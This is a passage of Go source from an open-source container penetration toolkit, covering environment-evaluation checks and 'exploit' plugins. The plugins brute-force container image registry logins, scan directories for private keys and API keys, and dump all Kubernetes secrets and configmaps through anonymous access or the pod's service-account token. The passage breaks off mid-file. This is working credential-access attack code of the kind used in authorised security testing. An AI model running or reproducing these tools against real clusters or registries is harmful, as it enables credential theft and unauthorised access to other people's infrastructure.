http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "log" 23 | "regexp" 24 | "strings" 25 | ) 26 | 27 | func CheckNetNamespace() { 28 | p := "/proc/net/unix" 29 | data, err := ioutil.ReadFile(p) 30 | if err != nil { 31 | log.Println("err found while open", p) 32 | return 33 | } 34 | 35 | if strings.Contains(string(data), "/systemd/") || strings.Contains(string(data), "/run/user/") { 36 | fmt.Println("\thost unix-socket found, seems container started with --net=host privilege.") 37 | } else { 38 | fmt.Println("\tcontainer net namespace isolated.") 39 | } 40 | 41 | pattern := regexp.MustCompile(`\@/containerd-shim/[\w\d\/-]*?\.sock`) 42 | params := pattern.FindAllStringSubmatch(string(data), -1) 43 | for _, matched := range params { 44 | fmt.Printf("\tfound containerd-shim socket in: %s\n", matched) 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /pkg/evaluate/security_info.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | func SecurityInfo() { 20 | 21 | } 22 | -------------------------------------------------------------------------------- /pkg/evaluate/sensitive_env.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "github.com/cdk-team/CDK/conf" 21 | "log" 22 | "os" 23 | "regexp" 24 | ) 25 | 26 | func SearchSensitiveEnv() { 27 | for _, env := range os.Environ() { 28 | ans, err := regexp.MatchString(conf.SensitiveEnvRegex, env) 29 | if err != nil { 30 | log.Println(err) 31 | } else if ans { 32 | log.Printf("sensitive env found:\n\t%s", env) 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /pkg/evaluate/sensitive_local_file_path.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/conf" 22 | "github.com/cdk-team/CDK/pkg/util" 23 | "os" 24 | "path/filepath" 25 | "strings" 26 | ) 27 | 28 | func SearchLocalFilePath() { 29 | 30 | filepath.Walk(conf.SensitiveFileConf.StartDir, func(path string, info os.FileInfo, err error) error { 31 | for _, name := range conf.SensitiveFileConf.NameList { 32 | currentPath := strings.ToLower(path) 33 | //if util.IsSoftLink(currentPath) && util.IsDir(currentPath) { 34 | // fmt.Println("skip", currentPath) 35 | // return filepath.SkipDir // skip soft link or it will run into container runtime filesystem 36 | //} 37 | if strings.Contains(currentPath, name) { 38 | fmt.Printf("\t%s - %s\n", name, path) 39 | if util.IsDir(currentPath) { 40 | return filepath.SkipDir // stop dive if sensitive dir found 41 | } 42 | return nil 43 | } 44 | } 45 | return nil 46 | }) 47 | 48 | } 49 | -------------------------------------------------------------------------------- /pkg/evaluate/sensitive_service.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "github.com/cdk-team/CDK/conf" 21 | gops "github.com/mitchellh/go-ps" 22 | "log" 23 | "regexp" 24 | ) 25 | 26 | func SearchSensitiveService() { 27 | processList, err := gops.Processes() 28 | if err != nil { 29 | log.Println("ps.Processes() Failed, are you using windows?") 30 | } 31 | for _, proc := range processList { 32 | ans, err := regexp.MatchString(conf.SensitiveProcessRegex, proc.Executable()) 33 | if err != nil { 34 | log.Println(err) 35 | } else if ans { 36 | log.Printf("service found in process:\n\t%d\t%d\t%s\n", proc.Pid(), proc.PPid(), proc.Executable()) 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /pkg/evaluate/service_discorvery_dns.go: -------------------------------------------------------------------------------- 1 | package evaluate 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "sort" 7 | "strings" 8 | ) 9 | 10 | // https://github.com/kubernetes/dns/blob/master/docs/specification.md 11 | func DNSBasedServiceDiscovery() { 12 | dnsNames := []string{"any.any.svc.cluster.local.", "any.any.any.svc.cluster.local."} 13 | 14 | var results []*net.SRV 15 | for _, name := range dnsNames { 16 | _, srvs, err := net.LookupSRV("", "", name) 17 | if err != nil { 18 | fmt.Printf("error when requesting coreDNS: %s\n", err.Error()) 19 | continue 20 | } 21 | 22 | results = append(results, srvs...) 23 | } 24 | 25 | sort.Slice(results, func(i, j int) bool { 26 | switch strings.Compare(results[i].Target, results[j].Target) { 27 | case -1: 28 | return true 29 | case 0: 30 | return results[i].Port < results[j].Port 31 | case 1: 32 | return false 33 | } 34 | return false 35 | }) 36 | 37 | for _, srv := range results { 38 | fmt.Println(srv.Target, srv.Port) 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /pkg/evaluate/sysctl_vars.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "io/ioutil" 21 | "log" 22 | "strings" 23 | ) 24 | 25 | var RouteLocalNetProcPath = "/proc/sys/net/ipv4/conf/all/route_localnet" 26 | 27 | func CheckRouteLocalNetworkValue() { 28 | data, err := ioutil.ReadFile(RouteLocalNetProcPath) 29 | if err != nil { 30 | log.Printf("err found while open %s: %v\n", RouteLocalNetProcPath, err) 31 | return 32 | } 33 | log.Printf("net.ipv4.conf.all.route_localnet = %s", string(data)) 34 | if strings.TrimSpace(string(data)) == "1" { 35 | // from: https://github.com/kubernetes/kubernetes/issues/92315 36 | log.Println("You may be able to access the localhost service of the current container node or other nodes.") 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /pkg/evaluate/system_info.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package evaluate 18 | 19 | import ( 20 | "io/ioutil" 21 | "log" 22 | "os" 23 | "os/user" 24 | 25 | "github.com/cdk-team/CDK/conf" 26 | "github.com/cdk-team/CDK/pkg/util" 27 | "github.com/shirou/gopsutil/v3/host" 28 | ) 29 | 30 | func BasicSysInfo() { 31 | // current dir(pwd) 32 | dir, err := os.Getwd() 33 | if err != nil { 34 | log.Println(err) 35 | return 36 | } 37 | log.Println("current dir:", dir) 38 | 39 | // current user(id) 40 | u, err := user.Current() 41 | if err != nil { 42 | log.Println(err) 43 | return 44 | } 45 | log.Println("current user:", u.Username, "uid:", u.Uid, "gid:", u.Gid, "home:", u.HomeDir) 46 | 47 | // hostname 48 | hostname, err := os.Hostname() 49 | if err != nil { 50 | log.Println(err) 51 | return 52 | } 53 | log.Println("hostname:", hostname) 54 | 55 | // os/kernel version 56 | kversion, _ := host.KernelVersion() 57 | platform, family, osversion, _ := host.PlatformInformation() 58 | log.Println(family, platform, osversion, "kernel:", kversion) 59 | 60 | } 61 | 62 | // FindSidFiles such as run `find /bin/. -perm -4000 -type f ` 63 | func FindSidFiles() { 64 | 65 | var setuidfiles []string 66 | 67 | for _, dir := range conf.DefaultPathEnv { 68 | files, err := ioutil.ReadDir(dir) 69 | if err != nil { 70 | continue 71 | } 72 | 73 | for _, file := range files { 74 | // check setuid bit 75 | if file.Mode()&os.ModeSetuid != 0 { 76 | setuidfiles = append(setuidfiles, dir+"/"+file.Name()) 77 | } 78 | 79 | // check capabilites, like getcap -r /bin 80 | // TODO: check capabilites 81 | } 82 | } 83 | 84 | if len(setuidfiles) > 0 { 85 | util.PrintItemKey("Setuid files found:", false) 86 | for _, file := range setuidfiles { 87 | util.PrintItemValue(file, true) 88 | } 89 | } 90 | } 91 | 92 | // CommandAllow check command allow to run 93 | func CommandAllow() { 94 | } 95 | 96 | func ASLR() { 97 | // ASLR off: /proc/sys/kernel/randomize_va_space = 0 98 | var ASLRSetting = "/proc/sys/kernel/randomize_va_space" 99 | 100 | data, err := ioutil.ReadFile(ASLRSetting) 101 | if err != nil { 102 | log.Printf("err found while open %s: %v\n", RouteLocalNetProcPath, err) 103 | return 104 | } 105 | log.Printf("/proc/sys/kernel/randomize_va_space file content: %s", string(data)) 106 | 107 | if string(data) == "0" { 108 | log.Println("ASLR is disabled.") 109 | } else { 110 | log.Println("ASLR is enabled.") 111 | } 112 | 113 | } 114 | -------------------------------------------------------------------------------- /pkg/exploit/base/base.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | type BaseExploit struct { 4 | ExploitType string 5 | } 6 | 7 | func (b BaseExploit) GetExploitType() string { 8 | return b.ExploitType 9 | } 10 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/file_scan.go: -------------------------------------------------------------------------------- 1 | //go:build !no_file_scan 2 | // +build !no_file_scan 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package credential_access 21 | 22 | import ( 23 | "fmt" 24 | "io/ioutil" 25 | "log" 26 | "os" 27 | "path/filepath" 28 | "regexp" 29 | "strings" 30 | 31 | "github.com/cdk-team/CDK/pkg/exploit/base" 32 | 33 | "github.com/cdk-team/CDK/conf" 34 | "github.com/cdk-team/CDK/pkg/cli" 35 | "github.com/cdk-team/CDK/pkg/plugin" 36 | ) 37 | 38 | func SearchLocalFileText(StartDir string) { 39 | _ = filepath.Walk(StartDir, func(path string, info os.FileInfo, err error) error { 40 | 41 | // broken soft-link file will trigger panic in os.Stat().xxx() 42 | defer func() { 43 | if err := recover(); err != nil { 44 | 45 | } 46 | }() 47 | 48 | fileInfo, _ := os.Stat(path) 49 | 50 | // skip soft-link 51 | //if util.IsSoftLink(path) { 52 | // println("skip ln:", path) 53 | // return nil 54 | //} 55 | // drop dir, only scan files 56 | if fileInfo.IsDir() { 57 | return nil 58 | } 59 | // skip large file 60 | if fileInfo.Size() > conf.ScanFileTextConf.MaxFileByte { 61 | return filepath.SkipDir 62 | } 63 | // skip executable file 64 | if conf.ScanFileTextConf.SkipExecutableFile && strings.Contains(fileInfo.Mode().String(), "x") { 65 | return filepath.SkipDir 66 | } 67 | 68 | // read file text 69 | data, err := ioutil.ReadFile(path) 70 | if err != nil { 71 | //log.Fatal(err) //ignore fatal errors 72 | } 73 | 74 | // apply regexp match 75 | for k, v := range conf.ScanFileTextConf.RegexList { 76 | pattern := regexp.MustCompile(v) 77 | params := pattern.FindAllStringSubmatch(string(data), -1) 78 | for _, matched := range params { 79 | fmt.Printf("\nfound %s in: %s\n%s\n", k, path, matched) 80 | } 81 | } 82 | 83 | return nil 84 | }) 85 | } 86 | 87 | // plugin interface 88 | type FileScanS struct{ base.BaseExploit } 89 | 90 | func (p FileScanS) Desc() string { 91 | return "search AK/Secrets from input dir, usage: cdk run ak-leakage " 92 | } 93 | func (p FileScanS) Run() bool { 94 | if len(cli.Args[""].([]string)) != 1 { 95 | log.Println("Invalid input args.") 96 | log.Fatal(p.Desc()) 97 | } 98 | path := cli.Args[""].([]string)[0] 99 | log.Println("searching secrets in ", path) 100 | SearchLocalFileText(path) 101 | log.Println("finished.") 102 | return true 103 | } 104 | 105 | func init() { 106 | exploit := FileScanS{} 107 | exploit.ExploitType = "credential-access" 108 | plugin.RegisterExploit("ak-leakage", exploit) 109 | } 110 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/file_scan_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package credential_access 18 | 19 | import ( 20 | "io/ioutil" 21 | "os" 22 | "regexp" 23 | "testing" 24 | 25 | "github.com/stretchr/testify/assert" 26 | ) 27 | 28 | func captureStdout(f func()) string { 29 | rescueStdout := os.Stdout 30 | r, w, _ := os.Pipe() 31 | os.Stdout = w 32 | f() 33 | _ = w.Close() 34 | out, _ := ioutil.ReadAll(r) 35 | os.Stdout = rescueStdout 36 | return string(out) 37 | } 38 | 39 | func TestSearchLocalFileText(t *testing.T) { 40 | expectedStdout := ` 41 | found RSA private key in: ../../test/scan_file_text/1 42 | [-----BEGIN RSA PRIVATE KEY-----] 43 | 44 | found RSA private key in: ../../test/scan_file_text/xxx/2.txt 45 | [-----BEGIN RSA PRIVATE KEY-----] 46 | 47 | found Twilio API Key in: ../../test/scan_file_text/xxx/2.txt 48 | [SKaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa] 49 | 50 | found AWS API Key in: ../../test/scan_file_text/xxx/2.txt 51 | [AKIA99999999999999AB] 52 | ` 53 | 54 | actualStdout := captureStdout(func() { 55 | SearchLocalFileText("../../test") 56 | }) 57 | 58 | pattern := regexp.MustCompile("found ") 59 | expParams := len(pattern.FindAllStringSubmatch(string(expectedStdout), -1)) 60 | actParams := len(pattern.FindAllStringSubmatch(string(actualStdout), -1)) 61 | 62 | assert.Equal(t, expParams, actParams, "That should be equal") 63 | } 64 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/image_registry_brute.go: -------------------------------------------------------------------------------- 1 | //go:build !no_image_registry_brute 2 | // +build !no_image_registry_brute 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package credential_access 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "net/http" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | 30 | b64 "encoding/base64" 31 | 32 | "github.com/cdk-team/CDK/pkg/cli" 33 | "github.com/cdk-team/CDK/pkg/plugin" 34 | "github.com/cdk-team/CDK/pkg/util" 35 | ) 36 | 37 | // plugin interface 38 | type RegistryBruteS struct{ base.BaseExploit } 39 | 40 | func (p RegistryBruteS) Desc() string { 41 | return "To container image registry, brute force the accounts and passwords cracking. Usage: ./cdk registry-brute . Example: ./cdk registry-brute https://index.docker.io/ root,admin /tmp/passwordfile." 42 | } 43 | 44 | func normalizeInput(input string) []string { 45 | 46 | var inputList []string 47 | 48 | // support username/password list file 49 | if util.FileExist(input) { 50 | inputList, err := util.ReadLines(input) 51 | if err != nil { 52 | log.Fatalf("%s read error, %v", input, err) 53 | } 54 | return inputList 55 | } 56 | 57 | // support input format like: username or username,username1,username2 58 | inputList = strings.Split(input, ",") 59 | 60 | return inputList 61 | } 62 | 63 | func checkLogin(url string, username string, password string) bool { 64 | 65 | login := fmt.Sprintf("%s:%s", username, password) 66 | sEnc := b64.StdEncoding.EncodeToString([]byte(login)) 67 | authorizationHeader := fmt.Sprintf("Basic %s", sEnc) 68 | 69 | req, err := http.NewRequest("GET", url, nil) 70 | if err != nil { 71 | log.Printf("http.NewRequest error: %v\n", err) 72 | return false 73 | } 74 | 75 | client := &http.Client{} 76 | req.Header.Set("Authorization", authorizationHeader) 77 | res, err := client.Do(req) 78 | if err != nil { 79 | log.Printf("client.Do error: %v\n", err) 80 | return false 81 | } 82 | 83 | if res.StatusCode == 200 { 84 | return true 85 | } else { 86 | return false 87 | } 88 | 89 | } 90 | 91 | func (p RegistryBruteS) Run() bool { 92 | 93 | args := cli.Args[""].([]string) 94 | if len(args) != 3 { 95 | log.Println("invalid input args.") 96 | log.Fatal(p.Desc()) 97 | } 98 | imageRegistryURL := args[0] 99 | usernameInput := args[1] 100 | passwordInput := args[2] 101 | 102 | usernameList := normalizeInput(usernameInput) 103 | passwordList := normalizeInput(passwordInput) 104 | v2URL := fmt.Sprintf("%sv2/", imageRegistryURL) 105 | 106 | log.Printf("user dict length: %d.\n", len(usernameList)) 107 | log.Printf("password dict length: %d.\n", len(passwordList)) 108 | 109 | for _, username := range usernameList { 110 | for _, password := range passwordList { 111 | if checkLogin(v2URL, username, password) { 112 | log.Printf("Account: %s:%s is available.\n", username, password) 113 | // run next account/username 114 | break 115 | } 116 | } 117 | } 118 | 119 | log.Println("End!") 120 | return false 121 | 122 | } 123 | 124 | func init() { 125 | exploit := RegistryBruteS{} 126 | exploit.ExploitType = "credential-access" 127 | plugin.RegisterExploit("registry-brute", exploit) 128 | } 129 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/image_registry_brute_test.go: -------------------------------------------------------------------------------- 1 | //go:build !no_image_registry_brute 2 | // +build !no_image_registry_brute 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package credential_access 21 | 22 | import ( 23 | "fmt" 24 | "testing" 25 | ) 26 | 27 | func TestNormalizeInput(t *testing.T) { 28 | 29 | fmt.Printf("%v\n", normalizeInput("root")) 30 | 31 | } 32 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/k8s_configmap_dump.go: -------------------------------------------------------------------------------- 1 | //go:build !no_k8s_configmap_dump 2 | // +build !no_k8s_configmap_dump 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package credential_access 21 | 22 | import ( 23 | "fmt" 24 | "io/ioutil" 25 | "log" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | 30 | "github.com/cdk-team/CDK/conf" 31 | "github.com/cdk-team/CDK/pkg/cli" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 34 | ) 35 | 36 | var configmapApi = "/api/v1/configmaps" 37 | 38 | func dumpK8sConfigmapSA(serverAddr string, tokenPath string) string { 39 | log.Println("requesting ", configmapApi) 40 | resp, err := kubectl.ServerAccountRequest( 41 | kubectl.K8sRequestOption{ 42 | TokenPath: tokenPath, 43 | Server: serverAddr, // default 44 | Api: configmapApi, 45 | Method: "get", 46 | PostData: "", 47 | Anonymous: false, 48 | }) 49 | if err != nil { 50 | fmt.Println(err) 51 | } 52 | 53 | return resp 54 | } 55 | 56 | func dumpK8sConfigmapAnonymous(serverAddr string) string { 57 | // make direct request to api-server REST API 58 | // Ref https://github.com/kubernetes-client/python/blob/b79ad6837b2f5326c7dad488a64eed7c3987e856/kubernetes/README.md 59 | 60 | log.Println("requesting ", configmapApi) 61 | resp, err := kubectl.ServerAccountRequest( 62 | kubectl.K8sRequestOption{ 63 | TokenPath: "", 64 | Server: serverAddr, // default 65 | Api: configmapApi, 66 | Method: "get", 67 | PostData: "", 68 | Anonymous: true, 69 | }) 70 | if err != nil { 71 | fmt.Println(err) 72 | } 73 | 74 | return resp 75 | } 76 | 77 | // plugin interface 78 | type dumpK8sConfigmapS struct{ base.BaseExploit } 79 | 80 | func (p dumpK8sConfigmapS) Desc() string { 81 | return "try to dump K8s configmap in multiple ways, usage: cdk run k8s-configmap-dump (auto|)" 82 | } 83 | func (p dumpK8sConfigmapS) Run() bool { 84 | // if your script needs input, parse os.Args by yourself. 85 | args := cli.Args[""].([]string) 86 | if len(args) != 1 { 87 | log.Println("invalid input args.") 88 | log.Fatal(p.Desc()) 89 | } 90 | 91 | // get api-server connection conf in ENV 92 | log.Println("getting K8s api-server API addr.") 93 | addr, err := kubectl.ApiServerAddr() 94 | if err != nil { 95 | fmt.Println(err) 96 | return false 97 | } 98 | fmt.Println("\tFind K8s api-server in ENV:", addr) 99 | 100 | var resp string 101 | var outFile = "k8s_configmaps.json" 102 | switch args[0] { 103 | case "auto": 104 | log.Println("trying to dump K8s configmap with user system:anonymous") 105 | resp = dumpK8sConfigmapAnonymous(addr) 106 | if !strings.Contains(resp, "selfLink") { 107 | log.Println("failed, api-server response:") 108 | fmt.Println(resp) 109 | 110 | log.Println("trying to dump K8s configmap with local service-account:", conf.K8sSATokenDefaultPath) 111 | resp = dumpK8sConfigmapSA(addr, conf.K8sSATokenDefaultPath) 112 | if !strings.Contains(resp, "selfLink") { 113 | log.Println("failed, api-server response:") 114 | fmt.Println(resp) 115 | return false 116 | } 117 | } 118 | 119 | default: 120 | log.Println("trying to dump K8s configmap with local service-account:", args[0]) 121 | resp = dumpK8sConfigmapSA(addr, args[0]) 122 | if !strings.Contains(resp, "selfLink") { 123 | log.Println("failed, api-server response:") 124 | fmt.Println(resp) 125 | return false 126 | } 127 | } 128 | 129 | log.Println("dump configmap success, saved in: ", outFile) 130 | err = ioutil.WriteFile(outFile, []byte(resp), 0666) 131 | if err != nil { 132 | log.Println("failed to write file.", err) 133 | return false 134 | } 135 | 136 | return true 137 | } 138 | 139 | func init() { 140 | exploit := dumpK8sConfigmapS{} 141 | exploit.ExploitType = "credential-access" 142 | plugin.RegisterExploit("k8s-configmap-dump", exploit) 143 | } 144 | -------------------------------------------------------------------------------- /pkg/exploit/credential_access/k8s_secret_dump.go: -------------------------------------------------------------------------------- 1 | //go:build !no_k8s_secret_dump 2 | // +build !no_k8s_secret_dump 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package credential_access 21 | 22 | import ( 23 | "fmt" 24 | "io/ioutil" 25 | "log" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | 30 | "github.com/cdk-team/CDK/conf" 31 | "github.com/cdk-team/CDK/pkg/cli" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 34 | ) 35 | 36 | var secretApi = "/api/v1/secrets" 37 | 38 | func dumpK8sSecretsSA(serverAddr string, tokenPath string) string { 39 | log.Println("requesting ", secretApi) 40 | resp, err := kubectl.ServerAccountRequest( 41 | kubectl.K8sRequestOption{ 42 | TokenPath: tokenPath, 43 | Server: serverAddr, // default 44 | Api: secretApi, 45 | Method: "get", 46 | PostData: "", 47 | Anonymous: false, 48 | }) 49 | if err != nil { 50 | fmt.Println(err) 51 | } 52 | return resp 53 | } 54 | 55 | func dumpK8sSecretsAnonymous(serverAddr string) string { 56 | log.Println("requesting ", secretApi) 57 | resp, err := kubectl.ServerAccountRequest( 58 | kubectl.K8sRequestOption{ 59 | TokenPath: "", 60 | Server: serverAddr, // default 61 | Api: secretApi, 62 | Method: "get", 63 | PostData: "", 64 | Anonymous: true, 65 | }) 66 | if err != nil { 67 | fmt.Println(err) 68 | } 69 | return resp 70 | } 71 | 72 | // plugin interface 73 | type K8sSecretsDumpS struct{ base.BaseExploit } 74 | 75 | func (p K8sSecretsDumpS) Desc() string { 76 | return "try to dump K8s secret in multiple ways, usage: cdk run k8s-secret-dump (auto|)" 77 | } 78 | func (p K8sSecretsDumpS) Run() bool { 79 | args := cli.Args[""].([]string) 80 | if len(args) != 1 { 81 | log.Println("invalid input args.") 82 | log.Fatal(p.Desc()) 83 | } 84 | 85 | // get api-server connection conf in ENV 86 | log.Println("getting K8s api-server API addr.") 87 | addr, err := kubectl.ApiServerAddr() 88 | if err != nil { 89 | fmt.Println(err) 90 | return false 91 | } 92 | fmt.Println("\tFind K8s api-server in ENV:", addr) 93 | 94 | var resp string 95 | var outFile = "k8s_secrets.json" 96 | switch args[0] { 97 | case "auto": 98 | log.Println("trying to dump K8s Secrets with user system:anonymous") 99 | resp = dumpK8sSecretsAnonymous(addr) 100 | if !strings.Contains(resp, "selfLink") { 101 | log.Println("failed, api-server response:") 102 | fmt.Println(resp) 103 | 104 | log.Println("trying to dump K8s Secrets with local service-account:", conf.K8sSATokenDefaultPath) 105 | resp = dumpK8sSecretsSA(addr, conf.K8sSATokenDefaultPath) 106 | if !strings.Contains(resp, "selfLink") { 107 | log.Println("failed, api-server response:") 108 | fmt.Println(resp) 109 | return false 110 | } 111 | } 112 | 113 | default: 114 | log.Println("trying to dump K8s Secrets with local service-account:", args[0]) 115 | resp = dumpK8sSecretsSA(addr, args[0]) 116 | if !strings.Contains(resp, "selfLink") { 117 | log.Println("failed, api-server response:") 118 | fmt.Println(resp) 119 | return false 120 | } 121 | } 122 | 123 | log.Println("dump secret success, saved in: ", outFile) 124 | err = ioutil.WriteFile(outFile, []byte(resp), 0666) 125 | if err != nil { 126 | log.Println("failed to write file.", err) 127 | return false 128 | } 129 | 130 | return true 131 | } 132 | 133 | func init() { 134 | exploit := K8sSecretsDumpS{} 135 | exploit.ExploitType = "credential-access" 136 | plugin.RegisterExploit("k8s-secret-dump", exploit) 137 | } 138 | -------------------------------------------------------------------------------- /pkg/exploit/discovery/istio_check.go: -------------------------------------------------------------------------------- 1 | //go:build !no_istio_check 2 | // +build !no_istio_check 3 | 4 | /* 5 | Copyright 